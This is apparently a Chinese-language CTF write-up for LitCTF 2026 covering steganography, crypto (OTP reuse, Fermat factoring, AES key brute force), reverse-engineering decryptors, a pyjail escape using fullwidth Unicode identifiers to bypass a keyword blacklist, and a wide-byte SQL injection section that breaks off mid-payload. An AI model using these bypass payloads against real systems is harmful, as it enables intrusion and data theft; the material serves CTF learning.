LitCTF2026 全方向wp

LitCTF 2026 全方向wp

misc

[LitCTF2026] lit_lsb_base64

直接说了lsb隐写 用随波逐流看各通道隐写信息

img

对隐写数据base64解码

img

[LitCTF2026] lit_rush_qr

帧提取出残缺的二维码 可以看出二维码缺少定位符

img

使用在线工具补齐二维码

img

[LitCTF2026] lit_sstv

sstv在线解码工具 https://sstv-decoder.mathieurenaud.fr/

img

flag: LitCTF{sstv_p4t13nc3}

[LitCTF2026] lit_welcome

图片背景是纯白,用pixpix简单过一下发现像素全是(255,255,255)有的是(254,255,255)

R 通道最低位 LSB 被改了,看0通道隐写数据。

img

[LitCTF2026] lit_pyjail_reader

题目附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python3
"""LitCTF — 入门 Pyjail:验证码 + 按指引两次只读文件(无 RCE)。"""

import secrets
import socket
import string
import threading

HOST = "0.0.0.0"
PORT = 9999
MAX_QUEUED = 64
MAX_LINE = 512
MAX_FILE = 4096


def recv_line(conn: socket.socket) -> str:
data = bytearray()
while len(data) < MAX_LINE:
chunk = conn.recv(1)
if not chunk:
break
if chunk == b"\n":
break
data += chunk
return data.decode("utf-8", errors="replace").strip()


def safe_read(path: str) -> str:
p = path.strip()
if not p or p.startswith("-") or "\x00" in p:
raise ValueError("invalid path")
with open(p, "r", errors="replace") as f:
return f.read(MAX_FILE)


def handle(conn: socket.socket) -> None:
try:
conn.settimeout(120)
alphabet = string.ascii_uppercase
challenge = "".join(secrets.choice(alphabet) for _ in range(8))
conn.sendall(
f"Please enter the reverse of '{challenge}' to continue: ".encode()
)
ans = recv_line(conn)
if ans != challenge[::-1]:
conn.sendall(b"Wrong reverse string. Bye.\n")
return
conn.sendall(
b"Good.\n"
b"Step 1: read /app/where_is_flag.txt (it contains the flag path).\n"
b"Step 2: read that path.\n"
b"File path (1/2): "
)
p1 = recv_line(conn)
try:
c1 = safe_read(p1)
except Exception as e:
conn.sendall(f"Error: {e}\n".encode(errors="replace"))
return
conn.sendall(b"--- begin ---\n")
conn.sendall(c1.encode(errors="replace"))
conn.sendall(b"\n--- end ---\nFile path (2/2): ")
p2 = recv_line(conn)
try:
c2 = safe_read(p2)
except Exception as e:
conn.sendall(f"Error: {e}\n".encode(errors="replace"))
return
conn.sendall(c2.encode(errors="replace"))
conn.sendall(b"\n")
finally:
conn.close()


def main() -> None:
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind((HOST, PORT))
srv.listen(MAX_QUEUED)
while True:
client, _ = srv.accept()
threading.Thread(target=handle, args=(client,), daemon=True).start()


if __name__ == "__main__":
main()

safe_read文件读取函数做了简单的安全防御

1
2
3
4
5
6
7
def safe_read(path: str) -> str:
p = path.strip()
# 防御:路径不能为空、不能以 "-" 开头(防止某些命令注入误用)、不能包含空字符 \x00
if not p or p.startswith("-") or "\x00" in p:
raise ValueError("invalid path")
with open(p, "r", errors="replace") as f:
return f.read(MAX_FILE) # 最多读取 4096 个字节,防止大文件撑爆内存

当玩家连接成功后,整个交互流程在 handle 函数中展开,分为以下三个阶段:

1.验证码反转字符串

1
2
3
4
5
6
7
alphabet = string.ascii_uppercase
challenge = "".join(secrets.choice(alphabet) for _ in range(8))
conn.sendall(f"Please enter the reverse of '{challenge}' to continue: ".encode())
ans = recv_line(conn)
if ans != challenge[::-1]:
conn.sendall(b"Wrong reverse string. Bye.\n")
return

逻辑:程序随机生成一个 8 位的大写字母字符串(例如 ABCDEFGH)。

要求:玩家必须在网络端输入这个字符串的反转结果(例如 HGFEDCBA)。如果答错,连接直接断开。

2. 第一步文件读取(寻找 Flag 路径)

1
2
3
4
5
6
7
8
conn.sendall(
b"Good.\n"
b"Step 1: read /app/where_is_flag.txt (it contains the flag path).\n"
b"Step 2: read that path.\n"
b"File path (1/2): "
)
p1 = recv_line(conn)
c1 = safe_read(p1)

逻辑:验证通过后,程序会提示输入第一个文件的路径。根据提示,应该输入 /app/where_is_flag.txt

结果:程序会读取这个文件的内容,并用 --- begin ------ end --- 包裹打印给你。这个文件里存储着真正的 Flag 文件的存放路径(比如可能是 /etc/flag 或者 /app/secret/flag.txt)。

3. 第二步文件读取(获取 Flag)

1
2
3
4
conn.sendall(b"\n--- end ---\nFile path (2/2): ")
p2 = recv_line(conn)
c2 = safe_read(p2)
conn.sendall(c2.encode(errors="replace"))

逻辑:程序紧接着要求输入第二个文件路径。

要求:此时输入刚刚在第一步里看到的那个真正的 Flag 路径。

结果:程序读取并输出真正的 Flag 内容,随后关闭连接。

根据分析,需要编写一个简单的 Python 脚本,利用自带的 socket 库去连接题目环境,

接收系统给出的 8 位随机字符串。

将其反转并发送回去。

当系统提示 File path (1/2): 时,发送 /app/where_is_flag.txt

从返回的内容中提取出真正的 Flag 路径。

当系统提示 File path (2/2): 时,发送刚刚提取出的新路径。

打印出最后的输出,即可拿到 Flag。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import socket

HOST = 'challenge.cyclens.tech'
PORT = 31117

def recv_all(s, timeout=5):
s.settimeout(timeout)
data = ''
while True:
try:
chunk = s.recv(4096).decode()
if not chunk:
break
data += chunk
except socket.timeout:
break
return data

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
data = recv_all(s)
print('Received 1:', repr(data))

challenge = data.split("'")[1]
ans = challenge[::-1]
print('Sending reverse:', ans)
s.sendall((ans + '\n').encode())

data = recv_all(s)
print('Received 2:', repr(data))

s.sendall(b'/app/where_is_flag.txt\n')
data = recv_all(s)
print('Received 3:', repr(data))

if '--- begin ---' in data and '--- end ---' in data:
content = data.split('--- begin ---')[1].split('--- end ---')[0].strip()
print('Flag path:', content)

s.sendall((content + '\n').encode())
data = recv_all(s)
print('Final result:', repr(data))
else:
print('Error: could not find flag path')

img

flag

flag{wlot52el-ya2x-4au-8gti-idnaozvlhamdi}

[LitCTF2026] lit_pyjail_unicode

题目附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python3
"""LitCTF — Unicode 标识符绕过:过滤检查原始源码字符串,解释器仍接受全角等价标识符。"""

import re
import socket
import threading

HOST = "0.0.0.0"
PORT = 9999
MAX_QUEUED = 64
MAX_LINE = 240

# 仅检查「你键入的文本」:ASCII 关键字用词边界,避免匹配到 important 等
BANNED = re.compile(
r"\bimport\b|\bexec\b|\beval\b|\bopen\b|\bcompile\b|\bglobals\b|\blocals\b|__|"
r"\bgetattr\b|\bsetattr\b|\bdelattr\b|\bvars\b|\bbreakpoint\b|\binput\b|"
r"\bsubprocess\b|\bpty\b|os\.|sys\.|\bposix\b",
re.IGNORECASE,
)


def banned(raw: str) -> bool:
if "\\u" in raw or "\\U" in raw or "\\x" in raw:
return True
return BANNED.search(raw) is not None


def handle(conn: socket.socket) -> None:
try:
conn.settimeout(60)
conn.sendall(
b"=== LitCTF pyjail unicode ===\n"
b"Send ONE line of Python. It will be eval() with full __builtins__.\n"
b"ASCII blacklist applies to your *source text* (see attachment jail.py).\n"
b"Goal: read /flag and get its str content.\n> "
)
raw = bytearray()
while len(raw) < MAX_LINE:
ch = conn.recv(1)
if not ch:
break
if ch == b"\n":
break
raw += ch
line = raw.decode("utf-8", errors="replace").strip()
if not line:
conn.sendall(b"empty\n")
return
if banned(line):
conn.sendall(b"disallowed pattern in source\n")
return
try:
out = eval(line, {"__builtins__": __builtins__})
conn.sendall(repr(out).encode(errors="replace") + b"\n")
except Exception as e:
conn.sendall(f"{type(e).__name__}: {e}\n".encode(errors="replace"))
finally:
conn.close()


def main() -> None:
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind((HOST, PORT))
srv.listen(MAX_QUEUED)
while True:
c, _ = srv.accept()
threading.Thread(target=handle, args=(c,), daemon=True).start()


if __name__ == "__main__":
main()

这段代码是一个典型的 Python 沙箱逃逸(PyJail)题目后端服务。它的核心逻辑是:启动一个网络服务,接收用户输入的一行 Python 代码,在通过严格的黑名单过滤后,使用 eval() 执行这行代码。

代码的注释给出了提示 Unicode 标识符绕过 。

代码中给出的黑名单

1
2
3
4
5
6
BANNED = re.compile(
r"\bimport\b|\bexec\b|\beval\b|\bopen\b|\bcompile\b|\bglobals\b|\blocals\b|__|"
r"\bgetattr\b|\bsetattr\b|\bdelattr\b|\bvars\b|\bbreakpoint\b|\binput\b|"
r"\bsubprocess\b|\bpty\b|os\.|sys\.|\bposix\b",
re.IGNORECASE,
)

拦截的内容包括:

  1. 危险内置函数:eval, exec, open, compile, getattr 等(防止你直接读文件或执行任意代码)。
  2. 模块与机制:import, os., sys., subprocess 等(防止你加载系统模块执行系统命令)。
  3. 特殊双下划线:__(防止你利用 Python 魔法属性进行黑客常见的「沙箱逃逸」,比如 __class____builtins__)。
  4. 编码转义:在 banned 函数中,还拦截了 \u, \U, \x。这意味着你不能通过 '\x5f\x5f' 这样的十六进制或 Unicode 转义字符串来拼凑出 __

当选手连接成功后:

  1. 服务器限制最多读取 240 个字节(MAX_LINE),且遇到换行符 \n 就结束读取。
  2. 使用 raw.decode("utf-8") 将获取到的字节流解码为字符串。
  3. 触发防御检查:调用 banned(line),如果命中了上面的黑名单,直接返回 disallowed pattern in source 并断开连接。
  4. 沙箱执行:如果没命中黑名单,则调用 eval(line, {"__builtins__": __builtins__}) 执行代码,并将结果返回给选手。

虽然作者写了非常严格的 ASCII 黑名单,并且封杀了 \u 这种转义写法,但这里存在一个逻辑悖论:题目过滤的是源码字符串,但 Python 解释器在执行前会对标识符做规范化处理。

Python解释器在解析源代码时,会对标识符进行NFKC归一化处理,将全角字符转换为对应的半角字符。这是Python官方规范的一部分,目的是支持Unicode标识符。

目标是读取 /flag 文件的内容。正常情况下需要:

1
open('/flag').read()

但 open 和 read 都在黑名单中。

关键字替换为全角字符:

1
2
- open → open (全角)
- read → read (全角)

最终payload

1
open('/flag').read()

全角字符的Unicode码点范围是 U+FF01 到 U+FF5E ,对应ASCII字符的全角形式。

img

向服务器发送payload收取响应

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python3
import socket

# 全角字符:open 和 read
# o = U+FF4F, p = U+FF50, e = U+FF45, n = U+FF4E
# r = U+FF52, a = U+FF41, d = U+FF44

payload = "\uff4f\uff50\uff45\uff4e('/flag').\uff52\uff45\uff41\uff44()\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("challenge.cyclens.tech", 31731))

# 接收欢迎信息
print(s.recv(1024).decode())

# 发送payload
s.sendall(payload.encode())

# 接收结果
result = s.recv(1024)
print("Result:", result.decode())

s.close()

img

CRYPTO

[LitCTF2026] lit_xor_two_story

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python3
"""
LitCTF2026 — One-time pad reused for two messages (40 bytes each).

Players receive output.txt and README; they do not receive secret.py.
"""
from __future__ import annotations

import argparse
import os
from pathlib import Path

try:
from secret import M1_FLAG
except ImportError:
raise SystemExit(
"secret.py (organizer) is required to generate ciphertext; "
"players work from output.txt only."
)

# Public second message — duplicated in README for contestants.
M2_KNOWN = b"litctf2026_xor_keystream_reuse_40bytes!!"

assert len(M1_FLAG) == len(M2_KNOWN) == 40


def xor_bytes(a: bytes, b: bytes) -> bytes:
return bytes(x ^ y for x, y in zip(a, b))


def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument(
"--write",
type=Path,
help="Write hex lines to file.",
)
args = parser.parse_args()

n = len(M1_FLAG)
k = os.urandom(n)
c1 = xor_bytes(M1_FLAG, k)
c2 = xor_bytes(M2_KNOWN, k)

lines = [
f"c1 = {c1.hex()}",
f"c2 = {c2.hex()}",
f"len = {n}",
]
text = "\n".join(lines) + "\n"
print(text, end="")
if args.write:
args.write.write_text(text, encoding="utf-8")


if __name__ == "__main__":
main()

# c1 = 5f70a847ce12759e156e3cad1aa9530a119386a02ffc1c31bf14ab7a0a82ccc108f8476f75c98a28
# c2 = 5f70a847ce123cc153283ca710ae7f042b8490a238eb2228970fad6a2694f2985dc5557e69e5f474
# len = 40

是 One-Time Pad(一次性密码本)重复使用漏洞。

因为:

  • c1 = M1_FLAG XOR k
  • c2 = M2_KNOWN XOR k

同一个 k 被重复用了,所以:

img

M2 已知,因此:

img

这里的核心公式:

img

先把数据转成 bytes, 然后直接异或恢复:

1
2
3
4
5
6
7
c1 = bytes.fromhex("5f70a847ce12759e156e3cad1aa9530a119386a02ffc1c31bf14ab7a0a82ccc108f8476f75c98a28")
c2 = bytes.fromhex("5f70a847ce123cc153283ca710ae7f042b8490a238eb2228970fad6a2694f2985dc5557e69e5f474")

m2 = b"litctf2026_xor_keystream_reuse_40bytes!!"
flag = bytes(a ^ b ^ c for a, b, c in zip(c1, c2, m2))

print(flag)

img

[LitCTF2026] lit_elgamal_handshake

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python3
"""
LitCTF2026 — ElGamal handshake (story)
Someone left debug logging on; the private exponent x was printed alongside ciphertext.
"""
from __future__ import annotations

import argparse
from pathlib import Path
from random import randrange

from Crypto.Util.number import bytes_to_long, getPrime, getRandomRange

try:
from secret import FLAG
except ImportError as e:
raise SystemExit("secret.py (FLAG) is required to encrypt.") from e


def generate_elgamal_keypair(bits: int = 512) -> tuple[int, int, int, int]:
p = getPrime(bits)
for _ in range(1000):
g = getRandomRange(2, min(6, p - 1))
if pow(g, (p - 1) // 2, p) != 1:
break
else:
raise RuntimeError("could not find suitable g")
x = randrange(2, p - 1)
y = pow(g, x, p)
return p, g, y, x


def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument(
"--write",
type=Path,
help="Write captured output to this file (for organizers).",
)
args = parser.parse_args()

p, g, y, x = generate_elgamal_keypair(bits=512)
k = randrange(1, p - 2)
m = bytes_to_long(FLAG)
if m >= p:
raise ValueError("flag too large for chosen p — shorten FLAG")

c1 = pow(g, k, p)
c2 = (m * pow(y, k, p)) % p

lines = [
"=== Public key (p, g, y) ===",
f"p = {p}",
f"g = {g}",
f"y = {y}",
"",
"=== Ciphertext (c1, c2) ===",
f"c1 = {c1}",
f"c2 = {c2}",
"",
"# [DEBUG] prod accidentally logged the long-term secret:",
f"x = {x}",
]
text = "\n".join(lines) + "\n"
print(text, end="")
if args.write:
args.write.write_text(text, encoding="utf-8")


if __name__ == "__main__":
main()

# === Public key (p, g, y) ===
# p = 9000784855376359808051354825193962042770028561343848432778443672755982397391267124312572697249531643069409873722736348916207732622884411596948807031140651
# g = 3
# y = 269130883529708333054320571854006406481346665463416017026083074488011546059928157925990665431751017523964760326934454181952822744463714981243407307134357

# === Ciphertext (c1, c2) ===
# c1 = 5245857426274383693193378669425243235151460522527004924092730024427525619244222247576829782077334810173274945751493387545849499010408499951268967774043627
# c2 = 6059939492718262451327758167005534191200936922719178843825888167191062504030471358635203794720371216217447404436172970111033824674731063386612549785069654

# # [DEBUG] prod accidentally logged the long-term secret:
# x = 633366293219022684108628483753423657477324253833657141033762971761747669344649667887002347907882241246119223126492863291886751205505360049793728851371884

ElGamal 加密:

  • 公钥:(p,g,y)(p,g,y)(p,g,y),其中 img
  • 私钥:x

密文:

img

因为题目直接泄露了私钥 x,所以:

img

于是:

img

核心公式:

img

直接写脚本即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import long_to_bytes

p = 9000784855376359808051354825193962042770028561343848432778443672755982397391267124312572697249531643069409873722736348916207732622884411596948807031140651

c1 = 5245857426274383693193378669425243235151460522527004924092730024427525619244222247576829782077334810173274945751493387545849499010408499951268967774043627

c2 = 6059939492718262451327758167005534191200936922719178843825888167191062504030471358635203794720371216217447404436172970111033824674731063386612549785069654

x = 633366293219022684108628483753423657477324253833657141033762971761747669344649667887002347907882241246119223126492863291886751205505360049793728851371884

# s = y^k = c1^x mod p
s = pow(c1, x, p)

# s^{-1} mod p
s_inv = pow(s, -1, p)

# recover plaintext integer
m = (c2 * s_inv) % p

flag = long_to_bytes(m)

print(flag)

img

[LitCTF2026] lit_rsa_neighbor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python3
"""
LitCTF2026 — RSA where q is 'far' along the prime line but still close enough to p for Fermat.
"""
from __future__ import annotations

import argparse
from pathlib import Path

import gmpy2
from Crypto.Util.number import bytes_to_long, getPrime

try:
from secret import FLAG, NEXT_PRIME_STEPS
except ImportError as e:
raise SystemExit(
"secret.py is required to generate output (FLAG, NEXT_PRIME_STEPS)."
) from e

E = 65537


def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument(
"--write",
type=Path,
help="Write n, c to this file.",
)
args = parser.parse_args()

p = getPrime(512)
q = p
for _ in range(NEXT_PRIME_STEPS):
q = int(gmpy2.next_prime(q))

n = p * q
m = bytes_to_long(FLAG)
if m >= n:
raise ValueError("flag too large for n")

c = pow(m, E, n)

lines_players = [f"{n = }", f"{c = }", f"e = {E}"]
text = "\n".join(lines_players) + "\n"
print(text, end="")
if args.write:
args.write.write_text(text, encoding="utf-8")


if __name__ == "__main__":
main()

# n = 139637440016232025690294457609899605991056011052010466558411851317943636600860419882966079629826706361935550982744312593243181819999590825159611186779613601241742349986440676188542381451066058816661317621009248513651083772907520139375108426466691332559612971244160246310746215067136490772061317571744230078911
# c = 81172369642931859390486697024961350889751244109623802937988620847486863147682579984823958801948701482096140632580173113959531836503723522945335985723867818778699337807630592078265626995722998378992215523352858561923474395550395284015986525513984910021995657780411466237306614109262460764382539311725297619429
# e = 65537

是一个典型的 Fermat 分解攻击。

因为:

  • q 不是随机独立生成
  • 而是从 p 连续 next_prime 得到
  • 所以 p ≈ q
  • 当两个素数很接近时,RSA 模数可以被费马分解快速破解

对于

img

如果 p,qp,qp,q 很接近:

img

令:

img

不断尝试:

img

直到 b^2 是完全平方数:

img

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from Crypto.Util.number import long_to_bytes
from math import isqrt

n = 139637440016232025690294457609899605991056011052010466558411851317943636600860419882966079629826706361935550982744312593243181819999590825159611186779613601241742349986440676188542381451066058816661317621009248513651083772907520139375108426466691332559612971244160246310746215067136490772061317571744230078911

c = 81172369642931859390486697024961350889751244109623802937988620847486863147682579984823958801948701482096140632580173113959531836503723522945335985723867818778699337807630592078265626995722998378992215523352858561923474395550395284015986525513984910021995657780411466237306614109262460764382539311725297619429

e = 65537

# Fermat Factorization
a = isqrt(n)
if a * a < n:
a += 1

while True:
b2 = a*a - n
b = isqrt(b2)

if b*b == b2:
p = a - b
q = a + b
break

a += 1

print("[+] p =", p)
print("[+] q =", q)

phi = (p-1)*(q-1)
d = pow(e, -1, phi)

m = pow(c, d, n)

print(long_to_bytes(m))

img

[LitCTF2026] lit_tiny_key_aes

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

KEY_PREFIX = b"LitCTF2026!!!"

c = b"\x0c\xdb'`\xc91\xf7\x05\x91+\x0fM\xed\xbc\x9b\xf1\xd8D\xcd\xfd\x0c\xb9\xb6\xb2J<\x86\x19\x06K\xb3\xa2\xa4\x18\x87<v\xac\x1bbu#\xaa\xb5I\x7f\xd8\xd3"

def is_likely_flag(pt: bytes) -> bool:
return (
pt.startswith(b"litctf{")
or pt.startswith(b"LitCTF{")
or pt.startswith(b"flag{")
)

for i in range(256 ** 3):
suffix = i.to_bytes(3, "big")
key = KEY_PREFIX + suffix

cipher = AES.new(key, AES.MODE_ECB)

# 先只解第一块,提高筛选速度
first_block = cipher.decrypt(c[:16])

if not is_likely_flag(first_block):
continue

# 命中疑似 flag 后,再解完整密文
pt_padded = cipher.decrypt(c)

try:
pt = unpad(pt_padded, AES.block_size)
except ValueError:
continue

print("[+] Found key:", key)
print("[+] Unknown suffix:", suffix.hex())
print("[+] Plaintext:", pt.decode())
break

题目使用的是 AES-128-ECB:

1
AES.new(key, AES.MODE_ECB)

AES-128 的密钥长度是 16 字节。题目中固定了前 13 字节:

1
KEY_PREFIX = b"LitCTF2026!!!"

剩下只有 3 字节未知:

1
16 - 13 = 3

每个字节有 256 种可能,所以总共只有:

1
256 * 256 * 256 = 16777216

这个规模对于离线爆破来说非常小。

因为 ECB 模式不需要 IV,所以只要枚举出正确 key,就可以直接解密密文。密文长度是 48 字节,也就是 3 个 AES block:

1
48 / 16 = 3

明文使用了 PKCS#7 padding,所以解密后还需要:

1
unpad(pt_padded, AES.block_size)

爆破时可以先只解密第一块:

1
first_block = cipher.decrypt(c[:16])

正确 key 解出来的第一块是:

1
litctf{aes_tiny_

所以可以用 flag 前缀快速筛选。找到正确后,再解完整密文,去掉 padding,得到:

1
litctf{aes_tiny_brut3_for_the_win!}

img

reverse

[LitCTF2026] lit_xor_chain

用户输入flag,每个字符先异或0x52,再加5,与全局数组g_expected比较 相等则返回”Good!”。

g_expected数组内容已知,写脚本解密得到flag:LitCTF{rev01_xor_then_add_ok!}

1
2
3
4
5
6
7
8
9
10
g_expected = [
0x23, 0x40, 0x2B, 0x16, 0x0B, 0x19, 0x2E, 0x25, 0x3C, 0x29,
0x67, 0x68, 0x12, 0x2F, 0x42, 0x25, 0x12, 0x2B, 0x3F, 0x3C,
0x41, 0x12, 0x38, 0x3B, 0x3B, 0x12, 0x42, 0x3E, 0x78, 0x34
]
flag = ""
for x in g_expected:
ch = ((x - 5) ^ 0x52) & 0xFF
flag += chr(ch)
print("flag =", flag)

[LitCTF2026] lit_b64_alphabet

base64换表,索引表被换成了’2KuEphj84USZF67iloxzfYd+MrDgRG9yLwBnHAXcJq3eCN/s1bOQ5TvPa0tVkWmI’,密文也已给出,写脚本解密得到:LitCTF{rev02_custom_b64_table!}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
alphabet = "2KuEphj84USZF67iloxzfYd+MrDgRG9yLwBnHAXcJq3eCN/s1bOQ5TvPa0tVkWmI"
target = "zjA5lToj9PUAGn2O+v6TRPosgYWB6noyGjhBgjfwyl=="
table = {c: i for i, c in enumerate(alphabet)}
out = bytearray()
for i in range(0, len(target), 4):
chunk = target[i:i+4]
vals = []
pad = chunk.count('=')
for ch in chunk:
if ch == '=':
vals.append(0)
else:
vals.append(table[ch])
n = (
(vals[0] << 18) |
(vals[1] << 12) |
(vals[2] << 6) |
vals[3]
)
out.append((n >> 16) & 0xff)
if pad < 2:
out.append((n >> 8) & 0xff)
if pad < 1:
out.append(n & 0xff)
print(out.decode())

[LitCTF2026] lit_rc4_variant

魔改RC4,s盒为64位,使用g_key(已知)初始化s盒,标准KSA, 魔改PRGA,这里多加了一次S[i],g_cipher是密文,已知。脚本解密得到:LitCTF{rev05_rc4_variant_64!}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
g_cipher = [
0x7B, 0x3D, 0x38, 0x77, 0x4E, 0x72, 0x42, 0x7D, 0x45, 0x37,
0x76, 0x0F, 0x53, 0x53, 0x4F, 0x66, 0x37, 0x17, 0x75, 0x37,
0x5F, 0x49, 0x58, 0x72, 0x74, 0x7F, 0x79, 0x1F, 0x3A
]
g_key = b"lit_rc4_key!"
S = list(range(64))
j = 0
for i in range(64):
j = (j + S[i] + g_key[i % len(g_key)]) % 64
S[i], S[j] = S[j], S[i]
i = 0
j = 0
flag = bytearray()
for c in g_cipher:
i = (i + 1) % 64
j = (j + S[i]) % 64
S[i], S[j] = S[j], S[i]
k = (S[(S[i] + S[j]) & 0x3F] + S[i]) & 0xFF
flag.append(c ^ k)
print(flag.decode())

[LitCTF2026] lit_tea_standard

读入输入的 flag,对长度进行PKCS#7填充 ,将数据对齐到8字节,然后进行魔改tea加密,模数被改,更新公式也被改了

1
2
3
4
5
6
int i = 0; 
for (int round = 0; round < 32; round++) {
i -= 1640531527;
v0 += ((i + v1) ^ ((v1 >> 5) - 1341448704) ^ ((v1 << 4) - 1591939156));
v1 += ((i + v0) ^ ((v0 >> 5) - 559038737) ^ ((v0 << 4) - 889275714));
}

最后与密文g_cipher比较。脚本解密得到:LitCTF{rev03_tea_standard!!}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import struct
g_cipher = bytes([
0xED, 0xEF, 0x21, 0xFE, 0xB7, 0x9B, 0x3C, 0xB0,
0x1E, 0x93, 0x72, 0xE2, 0x02, 0x3E, 0x29, 0xBC,
0x36, 0xF7, 0x0C, 0x92, 0x2E, 0x5A, 0xAE, 0x46,
0x44, 0xFA, 0x45, 0x25, 0x1A, 0xE5, 0x8C, 0x87
])
MASK = 0xFFFFFFFF
def decrypt_block(v9, v10):
i = -957401312 & MASK
DELTA = 1640531527 & MASK
while i != 0:
sum1 = ((i + v9) ^ ((v9 >> 5) - 559038737) ^ (16 * v9 - 889275714)) & MASK
v10 = (v10 - sum1) & MASK
sum2 = ((i + v10) ^ ((v10 >> 5) - 1341448704) ^ (16 * v10 - 1591939156)) & MASK
v9 = (v9 - sum2) & MASK
i = (i + DELTA) & MASK
return v9, v10
plain_bytes = bytearray()
for chunk_idx in range(0, 32, 8):
block = g_cipher[chunk_idx:chunk_idx+8]
v9, v10 = struct.unpack("<II", block)
v9_dec, v10_dec = decrypt_block(v9, v10)
plain_bytes.extend(struct.pack("<II", v9_dec, v10_dec))
pad_len = plain_bytes[-1]
if 0 < pad_len <= 8:
flag = plain_bytes[:-pad_len]
else:
flag = plain_bytes
print("Flag:", flag.decode('utf-8', errors='ignore'))

[LitCTF2026] lit_xtea_tweak

输入 flag,做 8 字节分组 padding,要求 padding 后长度为 0x20,也就是 32 字节,每 8 字节作为两个uint32_t小端整数加密,加密结果和g_cipher作比较。加密算法是XTEA变种

1
2
3
4
5
6
sum = 0;
for (int i = 0; i < 32; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += 0xDEADBEEF;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
}

把这个 XTEA 变种反过来解密g_cipher,去掉 padding,就得到 flag:LitCTF{rev04_xtea_delta_twk!}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import struct
cipher = bytes.fromhex(
"e3ee1ee7d3a7966f"
"c6a7b9e1b94e6786"
"5f0304a6dbbbb940"
"563af79eee64d406"
)
key = [
0x11111111,
0x22222222,
0x33333333,
0x44444444,
]
delta = 0xDEADBEEF
rounds = 32
mask = 0xffffffff
def decrypt_block(block):
v0, v1 = struct.unpack("<2I", block)
s = (delta * rounds) & mask
for _ in range(rounds):
v1 = (
v1
- (
((((v0 << 4) & mask) ^ (v0 >> 5)) + v0)
^ ((s + key[(s >> 11) & 3]) & mask)
)
) & mask
s = (s - delta) & mask
v0 = (
v0
- (
((((v1 << 4) & mask) ^ (v1 >> 5)) + v1)
^ ((s + key[s & 3]) & mask)
)
) & mask
return struct.pack("<2I", v0, v1)
plain = b""
for i in range(0, len(cipher), 8):
plain += decrypt_block(cipher[i:i + 8])
pad = plain[-1]
plain = plain[:-pad]
print(plain.decode())

web

[LitCTF2026] lit_ezsql

普通 SQL 注入如:

1
1' or '1'='10unionselect1,2,3,4,5

没有直接成功。后来发现加 debug=1 会回显后端执行 SQL:

img

再测试单引号:

1
/query?id=1'&debug=1

可以看到单引号被转义:

img

说明普通闭合被拦了。但数据库是 MariaDB/MySQL,并且存在宽字节注入绕过。用:

1
%bf%27

其中 %27 是 ‘,后端转义后变成:

1
%bf%5c%27

在数据库字符集处理下,%bf%5c 会被当作一个宽字节字符,导致后面的 ‘ 成功逃逸,完成闭合。

验证注入

Payload:

1
/query?id=%bf%27%20or%201=1%23&debug=1

等价 SQL:

1
WHERE id='¿\'or1=1#' LIMIT 50

img

实际数据库解析后,or 1=1# 生效,返回 alice 和 bob 两条数据。

UNION 探测列数

页面表头有 5 列:

1
id name col2 col3 col4

测试:

1
/query?id=%bf%27%20union%20select%201,2,3,4,5%23&debug=1

img

说明列数为 5。

枚举数据库信息

Payload:

1
